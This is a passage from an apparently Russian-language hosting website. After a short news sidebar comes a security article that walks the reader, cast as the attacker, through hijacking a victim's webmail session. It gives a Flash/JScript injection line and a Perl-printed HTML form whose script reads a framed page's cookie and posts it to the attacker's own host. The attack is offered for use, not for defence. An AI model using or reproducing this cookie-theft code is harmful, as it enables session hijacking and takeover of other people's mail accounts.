Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
Безопасность
Самый обычный вариант аутентификации, используемый на большинстве крупных сайтов: при входе на страницу пользователь аутентифицируется парой логин/пароль, после чего создается сессия, которая ограничивается либо закрытием браузера, либо временем. Сессия может привязываться к IP.
Вы думаете тут ничего не поделать? У таких крупных систем обычно существует система восстановления паролей. А сценарий взлома, например, почтового ящика будет выглядеть так: посылаем жертве письмо с ссылкой на свою страничку, либо используем Flash/Action Script –> JScript:
GetUrl(”javascript:alert(“123”);”);
При получении почты у жертвы создана сессия, в это время жертве доступны все параметры ящика для чтения (кроме пароля). Таким образом жертва, зайдя на вашу страницу, сама того не зная, открывает в фреймах странички с параметрами, при этом отправляя их содержимое вам же. Это несложно реализуется примерно следующим скриптом (написанным на Perl), который вызывается из фрейма:
(для cookie)
print <<OPA;
<form action="http://yourpage.h10.ru/cgi-bin/securecheck.pl" method="POST"
name="forma">
<input type=hidden name=hin>
</form>
<script language="jscript">
onload=function () {
setTimeout(
function () {
document.forma.hin.value=document.getElementById("oVictim").document.cookie;
document.forma.submit();
},
100
);
}
</script>